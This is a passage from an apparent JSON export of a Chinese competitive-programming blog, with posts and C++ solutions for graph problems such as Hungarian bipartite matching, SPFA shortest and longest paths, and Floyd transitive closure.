\u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=405; 34int n,m; 35int head[N]; 36int cnt; 37int link[N]; 38bool vis[N]; 39struct Edge 40{ 41 int v; 42 int nxt; 43}edge[N*N]; 44void addedge(int u,int v) 45{ 46 edge[cnt].v = v; 47 edge[cnt].nxt = head[u]; 48 head[u] = cnt; 49 cnt++; 50} 51 52bool dfs( int u) 53{ 54 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 55 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) 56 { 57 int v = edge[i].v; 58// cout\u003c\u003c\"v:\"\u003c\u003cv\u003c\u003cendl; 59 if (vis[v]) continue; 60 vis[v] = true; 61 62 if (link[v]==-1||dfs(link[v])) 63 { 64 link[v] = u; 65 return true; 66 } 67 } 68 return false; 69} 70int hung() 71{ 72 int res = 0 ; 73 ms(link,-1); 74 for ( int i = 1 ; i \u003c= n ; i++) 75 { 76 ms(vis,false); 77 if (dfs(i)) res++; 78 } 79 80 return res; 81} 82int main() 83{ 84 #ifndef ONLINE_JUDGE 85 freopen(\"code/in.txt\",\"r\",stdin); 86 #endif 87 88 while (scanf(\"%d%d\",\u0026n,\u0026m)!=EOF) 89 { 90 ms(head,-1); 91 cnt = 0 ; 92 93 for ( int i = 1 ; i \u003c= n ; i++) 94 { 95 int num; 96 scanf(\"%d\",\u0026num); 97 while (num--) 98 { 99 int x; 100 scanf","date":"2016-05-25","externalUrl":null,"permalink":"/2016/05/poj-1274-the-perfect-stall-/","section":"Posts","summary":"poj 1274题目链接 裸的匈牙利。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月25日 星期三 17时49分22秒 4File Name :code/poj/1274.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=405; 34int n,m; 35int head[N]; 36int cnt; 37int link[N]; 38bool vis[N]; 39struct Edge 40{ 41 int v; 42 int nxt; 43}edge[N*N]; 44void addedge(int u,int v) 45{ 46 edge[cnt].v = v; 47 edge[cnt].nxt = head[u]; 48 head[u] = cnt; 49 cnt++; 50} 51 52bool dfs( int u) 53{ 54 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 55 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) 56 { 57 int v = edge[i].v; 58// cout\u003c\u003c\"v:\"\u003c\u003cv\u003c\u003cendl; 59 if (vis[v]) continue; 60 vis[v] = true; 61 62 if (link[v]==-1||dfs(link[v])) 63 { 64 link[v] = u; 65 return true; 66 } 67 } 68 return false; 69} 70int hung() 71{ 72 int res = 0 ; 73 ms(link,-1); 74 for ( int i = 1 ; i \u003c= n ; i++) 75 { 76 ms(vis,false); 77 if (dfs(i)) res++; 78 } 79 80 return res; 81} 82int main() 83{ 84 #ifndef ONLINE_JUDGE 85 freopen(\"code/in.txt\",\"r\",stdin); 86 #endif 87 88 while (scanf(\"%d%d\",\u0026n,\u0026m)!=EOF) 89 { 90 ms(head,-1); 91 cnt = 0 ; 92 93 for ( int i = 1 ; i \u003c= n ; i++) 94 { 95 int num; 96 scanf(\"%d\",\u0026num); 97 while (num--) 98 { 99 int x; 100 scanf(\"%d\",\u0026x); 101 x = x + n; 102 addedge(i,x); 103 } 104 } 105 int ans = hung(); 106 printf(\"%d\\n\",ans); 107 } 108 109 #ifndef ONLINE_JUDGE 110 fclose(stdin); 111 #endif 112 return 0; 113}","tags":["二分图匹配","匈牙利算法"],"title":"poj 1274 The Perfect Stall （匈牙利算法）","type":"post"},{"categories":["ACM"],"content":"hdu2063题目链接 题意：求二分图最大匹配。 思路：匈牙利算法。 通过这三篇博客了解了相关概念，学习了匈牙利算法。 趣写算法系列之–匈牙利算法 二分图的最大匹配、完美匹配和匈牙利算法 匈牙利算法详解 感受就是：这个是相对容易学的算法。。并没有名字那么不明觉厉。。。 主体就是一个dfs的过程。。。。 不过据说有比较多的应用。 所以打算切一些题目加深理解以后再回来总结。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月25日 星期三 16时51分32秒 4File Name :code/hdu/2063.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n,m,k; 35int head[N]; 36int link[N]; 37bool vis[N]; 38int cnt; 39int tot; 40struct Edge 41{ 42 int to; 43 int nxt; 44}edge[N]; 45void addedge( int u,int v) 46{ 47 edge[cnt].to = v; 48 edge[cnt].nxt = head[u]; 49 head[u] = cnt; 50 cnt++; 51} 52 53bool dfs(int u) 54{ 55 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 56 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) //对于每个妹子，枚举她喜欢的蓝孩纸 57 { 58 int v = edge[i].to; //v为妹子u喜欢的蓝孩纸的编号 59 if (vis[v]) continue; //避免递归反复寻找同一个男孩子陷入死循环。 60 vis[v] = true; 61 if (link[v]==-1||dfs(link[v])) //如果这个男孩子是单身狗或者这个男孩子的女票还有其他男孩子可以选择（可以腾出位置） 62 { 63 link[v] = u ;// 男孩子v和女孩子u在一起了。 64 return true; 65 } 66 } 67 return false; 68} 69int hung(int n) 70{ 71 int ans = 0 ; 72 ms(link,-1); 73 for ( int i = 1 ; i \u003c= n ; i++) //扫描每个妹子 74 { 75 ms(vis,false); 76 if (dfs(i)) ans++; 77 } 78 return an","date":"2016-05-25","externalUrl":null,"permalink":"/2016/05/hdu-2063/","section":"Posts","summary":"hdu2063题目链接 题意：求二分图最大匹配。 思路：匈牙利算法。 通过这三篇博客了解了相关概念，学习了匈牙利算法。 趣写算法系列之–匈牙利算法 二分图的最大匹配、完美匹配和匈牙利算法 匈牙利算法详解","tags":["二分图匹配","匈牙利算法"],"title":"hdu 2063 过山车 (匈牙利算法模板题)","type":"post"},{"categories":["ACM"],"content":"uva10986题目链接 题意：裸的spfa. 思路：模板，1A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月25日 星期三 03时25分27秒 4File Name :code/uva/10986.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E4+7; 34int n,m; 35int S,T; 36vector \u003c pi \u003e edge[N]; 37 38int d[N]; 39bool inq[N]; 40bool spfa( int s,int t) 41{ 42 ms(d,0x3f); 43 ms(inq,false); 44 queue\u003cint\u003eq; 45 q.push(s); 46 inq[s] = true; 47 d[s] = 0; 48 49 while (!q.empty()) 50 { 51 int u = q.front(); 52 q.pop(); 53 inq[u] = false; 54 55 int siz = edge[u].size(); 56 57 for ( int i = 0 ; i \u003c siz ; i++) 58 { 59 int v = edge[u][i].fst; 60 if (d[v]\u003ed[u] + edge[u][i].sec) 61 { 62 d[v] = d[u] + edge[u][i].sec; 63 if (inq[v]) continue; 64 inq[v] = true; 65 q.push(v); 66 } 67 } 68 } 69 return d[t]!=inf; 70} 71int main() 72{ 73 #ifndef ONLINE_JUDGE 74 freopen(\"code/in.txt\",\"r\",stdin); 75 #endif 76 ios::sync_with_stdio(false); 77 int TT; 78 cin\u003e\u003eTT; 79 int cas = 0 ; 80 while (TT--) 81 { 82 cin\u003e\u003en\u003e\u003em\u003e\u003eS\u003e\u003eT; 83 for ( int i = 0 ; i \u003c= n ; i++) edge[i].clear(); 84 for ( int i = 1 ; i \u003c= m ; i++) 85 { 86 int u,v,w; 87 cin\u003e\u003eu\u003e\u003ev\u003e\u003ew; 88 edge[u].push_back(make_pair(v,w)); 89 edge[v].push_back(make_pair(u,w)); ","date":"2016-05-24","externalUrl":null,"permalink":"/2016/05/uva-10986/","section":"Posts","summary":"uva10986题目链接 题意：裸的spfa. 思路：模板，1A. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月25日 星期三 03时25分27秒 4File Name :code/uva/10986.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E4+7; 34int n,m; 35int S,T; 36vector \u003c pi \u003e edge[N]; 37 38int d[N]; 39bool inq[N]; 40bool spfa( int s,int t) 41{ 42 ms(d,0x3f); 43 ms(inq,false); 44 queue\u003cint\u003eq; 45 q.push(s); 46 inq[s] = true; 47 d[s] = 0; 48 49 while (!q.empty()) 50 { 51 int u = q.front(); 52 q.pop(); 53 inq[u] = false; 54 55 int siz = edge[u].size(); 56 57 for ( int i = 0 ; i \u003c siz ; i++) 58 { 59 int v = edge[u][i].fst; 60 if (d[v]\u003ed[u] + edge[u][i].sec) 61 { 62 d[v] = d[u] + edge[u][i].sec; 63 if (inq[v]) continue; 64 inq[v] = true; 65 q.push(v); 66 } 67 } 68 } 69 return d[t]!=inf; 70} 71int main() 72{ 73 #ifndef ONLINE_JUDGE 74 freopen(\"code/in.txt\",\"r\",stdin); 75 #endif 76 ios::sync_with_stdio(false); 77 int TT; 78 cin\u003e\u003eTT; 79 int cas = 0 ; 80 while (TT--) 81 { 82 cin\u003e\u003en\u003e\u003em\u003e\u003eS\u003e\u003eT; 83 for ( int i = 0 ; i \u003c= n ; i++) edge[i].clear(); 84 for ( int i = 1 ; i \u003c= m ; i++) 85 { 86 int u,v,w; 87 cin\u003e\u003eu\u003e\u003ev\u003e\u003ew; 88 edge[u].push_back(make_pair(v,w)); 89 edge[v].push_back(make_pair(u,w)); 90 } 91 92 if (spfa(S,T)) 93 { 94 printf(\"Case #%d: %d\\n\",++cas,d[T]); 95 } 96 else 97 { 98 printf(\"Case #%d: unreachable\\n\",++cas); 99 } 100 101 } 102 103 #ifndef ONLINE_JUDGE 104 fclose(stdin); 105 #endif 106 return 0; 107}","tags":["spfa"],"title":"uva 10986 Sending email (spfa)","type":"post"},{"categories":["ACM"],"content":"poj2949 题目链接 题意：我们有 n 个 (n\u003c=100000) 字符串,每个字符串都是由 a~z 的小写英文字 母组成的字符串。如果字符串 A 的结尾两个字符刚好与字符串 B 的开头两字符相 匹配,那么我们称 A 与 B 能相连(注意: A 能与 B 相连不代表 B 能与 A 相连)。 我们希望从给定的字符串中找出一些,使得他们首尾相接形成一个环串(一个串首尾相连也算) 我们想要使这个环串的平均长度最长。 思路：参考了国家集训队论文《spfa算法的优化与应用》 首先我卡在了关于接龙问题的处理方法，只能想到n^2的方法。。显然gg. 而正解是把每个单词看做一条边，把每个单词开头的两个字母和结尾两个字母看做起点和终点，由于都是小写字母，2位26进制数最多表示26*26。 这个建图方式并不是特别显然，不过想一下还是可以理解的。。以及这应该算是处理单词接龙问题的一个技巧。。。 这道题综合了两种常见的问题：字符串的接龙以及平均值的最优化问题。对于前者，我们可以采取把单词看成边，把首尾字母组合看成点的方法。例如对于单词ababc就是点”ab”向点”bc”连一条长度为5的边。这样问题的模型变得更加清晰，规模也得到减小。那么原问题就可以转化成在此图中找一个环，使得环上边权的平均值最大。对于这种问题，我们有很经典的解决方法： 由于Average=(E1+E2+…..+Ek)/K 所以Average*K=E1+E2+……+Ek 即（E1-Average）+（E2-Average）+….+ （Ek-Average）=0 另外注意到上式中的等于号可以改写为小于等于，那么我们可以二分答案Ans，然后判断是否存在一组解满足（E1+E2+…..+Ek）/K\u003eAns,即判断 （E1- Ans）+（E2- Ans）+….+ （Ek- Ans）\u003e0 于是在二分答案后，我们把边的权值更新，问题就变成了查找图中是否存在一个正环。 然后参考了这篇题解学习了一下栈优化的spfa： spfa栈优化 以及这篇博客中比较了dfs的spfa和普通栈优化的spfa… 200+ms vs 2000+ms…十倍的优化。。太神了。。。 /* 枚举每一个平均长度mid值。 如果存在一个环，(E1+…+Ek)/k\u003e=mid(其中k是边数，E1……Ek是各个边权)， 那么正解比mid大，否则比mid小，这就是二分策略。 那么怎样知道是否存在(E1+…+Ek)/k\u003e=mid 呢？ 如下转化：(E1+…+Ek)\u003e=mid*k E1-mid + E2–mid + E3-mid + … + Ek-mid \u003e= 0 所以，把所有的边权改为Ei – mid，然后看是否存在正环就可以，存在就是满足条件。 */ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月25日 星期三 00时25分51秒 4File Name :code/poj/2949.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#include \u003cstack\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair","date":"2016-05-24","externalUrl":null,"permalink":"/2016/05/poj-2949-word-rings/","section":"Posts","summary":"poj2949 题目链接 题意：我们有 n 个 (n\u003c=100000) 字符串,每个字符串都是由 a~z 的小写英文字 母组成的字符串。如果字符串 A 的结尾两个字符刚好与字符串 B 的开头两字符相 匹配,那么我们称 A 与 B 能相连(注意: A 能与 B 相连不代表 B 能与 A 相连)。 我们希望从给定的字符串中找出一些,使得他们首尾相接形成一个环串(一个串首尾相连也算) 我们想要使这个环串的平均长度最长。","tags":["spfa"],"title":"poj 2949 Word Rings (spfa+栈优化)","type":"post"},{"categories":["ACM"],"content":"poj 1860 题目链接 题意：有n种货币，m个货币交易点，每个货币交易点只能是两种货币之间交换，给出两个方向的汇率和手续费。初始拥有数量v的货币s,问能否经过一些py交易，使得最后手里的货币s比v多。 思路：大概还是用spfa求最长路。。松弛那里需要注意一下算法。。。 1A。。。好爽啊。。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月24日 星期二 23时41分46秒 4File Name :code/poj/1860.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E2+7; 34int n,m,s; 35double v; 36double d[N]; 37bool inq[N]; 38vector \u003cpair\u003cint,pair\u003cdouble,double\u003e \u003e \u003e edge[N]; 39 40int dblcmp(double d) 41{ 42 return d\u003c-eps?-1:d\u003eeps; 43} 44bool spfa(int s,double amt) 45{ 46 ms(d,0); 47 ms(inq,false); 48 queue\u003cint\u003eq; 49 q.push(s); 50 inq[s] = true; 51 d[s] = amt; 52 53 while (!q.empty()) 54 { 55 int u = q.front(); 56 q.pop(); 57 inq[u] = false; 58 59 int siz = edge[u].size(); 60 for ( int i = 0 ; i \u003c siz; i ++) 61 { 62 int v = edge[u][i].fst; 63 double r = edge[u][i].sec.fst; 64 double c = edge[u][i].sec.sec; 65 double tmp = (d[u]-c)*r; 66 if (dblcmp(d[v]-tmp)\u003c0) 67 { 68 d[v] = tmp; 69 if (inq[v]) continue; 70 inq[v] = true; 71 q.push(v); 72 } 73 } 74 } 75 return d[s]\u003eamt; 76} 77int main() 78{ 79 #ifndef ONLINE_JUDGE 80 freopen(\"code/in.txt\",\"r\",stdin); 81 #endif 82 83 ios::sync_with_stdio(false); 8","date":"2016-05-24","externalUrl":null,"permalink":"/2016/05/poj-1860/","section":"Posts","summary":"poj 1860 题目链接 题意：有n种货币，m个货币交易点，每个货币交易点只能是两种货币之间交换，给出两个方向的汇率和手续费。初始拥有数量v的货币s,问能否经过一些py交易，使得最后手里的货币s比v多。","tags":["spfa","最长路"],"title":"poj 1860 Currency Exchange (spfa求最长路)","type":"post"},{"categories":["ACM"],"content":"poj1932题目链接 题意：初始在点1，有100点能量，然后每个点有一个能量值【-100,100】，经过某个点会加上这个点的能量值，问能否找到一条到点n且的路线，且路径任何点的能量值一直为正。一共不超过100个点。 思路：像样例中是直接联通，一路上的能量值都大于0，这是有解的一种情况。另一种是存在一个正环，可能一次路过后面的能量值不够，但是我们可以走多次啊。 因为要求每一步的能量值都大于0，那么我们可以初始化d[]数组为0，然后用spfa求最长路（只需要把那个三角形等式换个方向即可） 如果可以直接联通，也就是d[n]\u003e0，那么有解。 还有可能是存在一个环（判断环的方法是用一个数组在spfa的时候统计每个点入队的次数，如果一个点的入队次数大于n，那么就存在环，且这个点在环中） 但是我们还要保证起点1和终点n是经过这个环的。 所以先跑一发floyd. 其实n才100也算给了提示吧，不用floyd的话没道理这么小的数据。。？ 感觉这道题很棒，把spfa和floyd结合在了一起。 学到了判断环的方法，spfa求最长路的方法，复习了传递闭包。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月24日 星期二 20时03分37秒 4File Name :code/poj/1932.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34 35vector\u003c int \u003e edge[N]; 36int a[N]; 37bool conc[N][N]; 38int in[N]; //统计入队次数，大于n次表明有环。 39bool inq[N]; 40int n; 41int d[N]; 42void floyd() //传递闭包 43{ 44 for ( int k = 1 ; k \u003c= n ; k++) 45 for ( int i = 1 ; i \u003c= n ; i++) 46 for ( int j = 1 ; j \u003c= n ; j++) 47 if (conc[i][k]\u0026\u0026conc[k][j]) conc[i][j] = true; 48} 49bool spfa(int s) //spfa求最长路。 50{ 51 ms(in,0); 52 ms(d,0);//因为小于等于0就死，所以初始是0，这样更新的时候一定是正值才更新。 53 ms(inq,false); 54 queue\u003cint\u003eq; 55 q.push(s); 56 inq[s] = true; 57 d[s] = 100; 58 in[s]++; 59 60 while (!q.emp","date":"2016-05-24","externalUrl":null,"permalink":"/2016/05/poj-1932/","section":"Posts","summary":"poj1932题目链接 题意：初始在点1，有100点能量，然后每个点有一个能量值【-100,100】，经过某个点会加上这个点的能量值，问能否找到一条到点n且的路线，且路径任何点的能量值一直为正。一共不超过100个点。","tags":["floyd","spfa","传递闭包","最长路"],"title":"poj 1932 XYZZY (floyd传递闭包+spfa求最长路)","type":"post"},{"categories":["ACM"],"content":"poj 1511 题目链接 题意：和那道奶牛的舞会类似，要求所有点到点1的距离和加上1点到所有点的距离和。 思路：正反存边建两次图，跑两次spfa. 然而用vector会TLE….所以去学习了新的建图方式。。。也就是链式前向星：链式前向星（边表）学习链接 也叫边表。 是一种几乎没有什么缺点的存图方式。。。？ 比起普通的前向星少了个排序。 哦，还有我发现貌似很多人把这个东西叫邻接表。。但是根据这里：几种建图方式 这个东西还是交边表或者链式前向星比较合适。。。？ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月23日 星期一 20时31分19秒 4File Name :code/poj/1511.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E7+7; 34LL d[N]; 35bool inq[N]; 36int n,m; 37struct Edge 38{ 39 int v,w; 40 int nxt; 41}edge1[N],edge2[N]; //反向存一次 42int head1[N],head2[N]; 43int cnt; 44void addedge(Edge *edge,int *head,int u,int v,int w) 45{ 46 edge[cnt].v = v; 47 edge[cnt].w = w; 48 edge[cnt].nxt = head[u]; 49 head[u] = cnt; 50 cnt++; 51} 52 53LL spfa(Edge *edge,int *head) 54{ 55 56 ms(inq,false); 57 for ( int i = 0 ; i \u003c= n ; i++) d[i] = 1E18; 58 queue\u003cint\u003eq; 59 q.push(1); 60 d[1] = 0 ; 61 inq[1] = true; 62 63 while (!q.empty()) 64 { 65 int u = q.front(); 66 q.pop(); 67 inq[u] = false; 68 69 for ( int i = head[u]; i !=-1 ;i=edge[i].nxt) 70 { 71 int v = edge[i].v; 72 int w = edge[i].w; 73 74 if (d[v]\u003ed[u]+w) 75 { 76 d[v] = d[u] + w; 77 if (inq[v]) continue; 78 inq[v] = true; 79 q.push(v","date":"2016-05-24","externalUrl":null,"permalink":"/2016/05/poj-1511/","section":"Posts","summary":"poj 1511 题目链接 题意：和那道奶牛的舞会类似，要求所有点到点1的距离和加上1点到所有点的距离和。 思路：正反存边建两次图，跑两次spfa. 然而用vector会TLE….所以去学习了新的建图方式。。。也就是链式前向星：链式前向星（边表）学习链接 也叫边表。","tags":["spfa","链式前向星"],"title":"poj 1511 Invitation Cards (链式前向星存图+spfa)","type":"post"},{"categories":["ACM"],"content":"1614: [Usaco2007 Jan]Telephone Lines架设电话线 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1325 Solved: 570 [Submit][Status][Discuss] Description # Farmer John打算将电话线引到自己的农场，但电信公司并不打算为他提供免费服务。于是，FJ必须为此向电信公司支付一定的费用。 FJ的农场周围分布着N(1 \u003c= N \u003c= 1,000)根按1..N顺次编号的废弃的电话线杆，任意两根电话线杆间都没有电话线相连。一共P(1 \u003c= P \u003c= 10,000)对电话线杆间可以拉电话线，其余的那些由于隔得太远而无法被连接。 第i对电话线杆的两个端点分别为A_i、B_i，它们间的距离为 L_i (1 \u003c= L_i \u003c= 1,000,000)。数据中保证每对{A_i，B_i}最多只出现1次。编号为1的电话线杆已经接入了全国的电话网络，整个农场的电话线全都连到了编号为N的电话线杆上。也就是说，FJ的任务仅仅是找一条将1号和N号电话线杆连起来的路径，其余的电话线杆并不一定要连入电话网络。 经过谈判，电信公司最终同意免费为FJ连结K(0 \u003c= K \u003c N)对由FJ指定的电话线杆。对于此外的那些电话线，FJ需要为它们付的费用，等于其中最长的电话线的长度（每根电话线仅连结一对电话线杆）。如果需要连结的电话线杆不超过 K对，那么FJ的总支出为0。 请你计算一下，FJ最少需要在电话线上花多少钱。 Input # 第1行: 3个用空格隔开的整数：N，P，以及K 第2..P+1行: 第i+1行为3个用空格隔开的整数：A_i，B_i，L_i Output # 第1行: 输出1个整数，为FJ在这项工程上的最小支出。如果任务不可能完成， 输出-1 Sample Input # 5 7 1 1 2 5 3 1 4 2 4 8 3 2 3 5 2 9 3 4 7 4 5 6 输入说明: 一共有5根废弃的电话线杆。电话线杆1不能直接与电话线杆4、5相连。电话 线杆5不能直接与电话线杆1、3相连。其余所有电话线杆间均可拉电话线。电信 公司可以免费为FJ连结一对电话线杆。 Sample Output # 4 输出说明: FJ选择如下的连结方案：1-\u003e3；3-\u003e2；2-\u003e5，这3对电话线杆间需要的 电话线的长度分别为4、3、9。FJ让电信公司提供那条长度为9的电话线，于是， 他所需要购买的电话线的最大长度为4。 HINT # 思路：一开始把电话线条数和长度分别作为第一第二关键字，然后spfa.然后记录路径，找k个最大的以后的中最长的电话线就是答案。发现样例就是反例。。智力-2. 正确的做法是二分电话线的最大长度，大于最大长度的电话线交给电信公司取搞，看交给电信公司搞的电话线数目是否小于等于k. 二分的功夫还是不到家呀。。想不到。。 不过这道题和那个中国印度被喜马拉雅山脉阻隔，二分+bfs判断连通性的题目有点类似呢。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月02日 星期六 17时50分13秒 4File Name :code/bzoj/1614.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1","date":"2016-05-22","externalUrl":null,"permalink":"/2016/05/bzoj-1614/","section":"Posts","summary":"1614: [Usaco2007 Jan]Telephone Lines架设电话线 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1325 Solved: 570 [Submit][Status][Discuss]","tags":["binary search","spfa"],"title":"BZOJ 1614: [Usaco2007 Jan]Telephone Lines架设电话线 (二分+spfa)","type":"post"},{"categories":["ACM"],"content":"1631: [Usaco2007 Feb]Cow Party # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 670 Solved: 493 [Submit][Status][Discuss] Description # 农场有N(1≤N≤1000)个牛棚，每个牛棚都有1只奶牛要参加在X牛棚举行的奶牛派对．共有M(1≤M≤100000)条单向路连接着牛棚，第i条踣需要Ti的时间来通过．牛们都很懒，所以不管是前去X牛棚参加派对还是返回住所，她们都采用了用时最少的路线．那么，用时最多的奶牛需要多少时间来回呢？ Input # 第1行:三个用空格隔开的整数. 第2行到第M+1行,每行三个用空格隔开的整数:Ai, Bi,以及Ti.表示一条道路的起点,终点和需要花费的时间. Output # 唯一一行:一个整数: 所有参加聚会的奶牛中,需要花费总时间的最大值. Sample Input # 4 8 2 1 2 4 1 3 2 1 4 7 2 1 1 2 3 5 3 1 2 3 4 4 4 2 3 Sample Output # 10 HINT # 样例说明: 共有4只奶牛参加聚会,有8条路,聚会位于第2个农场. 第4只奶牛可以直接到聚会所在地(花费3时间),然后返程路线经过第1和第3个农场(花费7时间),总共10时间. 思路：想了一下。。因为要知道每个点到x的最短距离。。。以及反过来。。 单向很容易知道。。。以x点为起点做一遍spfa,那么x到每个点的最短距离就知道了。。 那么反过来怎么办呢？ 